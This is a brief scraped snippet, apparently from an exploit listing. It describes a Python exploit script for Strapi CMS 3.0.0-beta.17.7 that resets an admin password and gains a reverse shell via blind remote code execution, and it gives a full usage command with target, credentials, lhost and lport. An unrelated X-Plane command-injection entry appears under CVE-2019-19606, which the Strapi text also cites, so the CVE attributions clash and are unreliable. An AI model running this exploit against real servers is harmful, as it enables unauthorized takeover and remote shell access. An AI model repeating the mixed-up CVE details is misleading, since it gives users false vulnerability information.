strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 和 19606 针对 Strapi CMS 3.0.0-beta.17.7 及更早版本的盲注远程代码执行，获取反弹 shell 开始上手 执行程序 使用 python3 python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 帮助 帮助提示 python3 strapiexp.py -h 免责声明...

CVE-2019-19606

X-Plane prior to 11.41 contains an OS command injection due to multiple improper path validations. A crafted network packet could cause reading/writing files to arbitrary paths and potentially leak credentials, enabling execution of arbitrary commands. Affected: X-Plane 11.x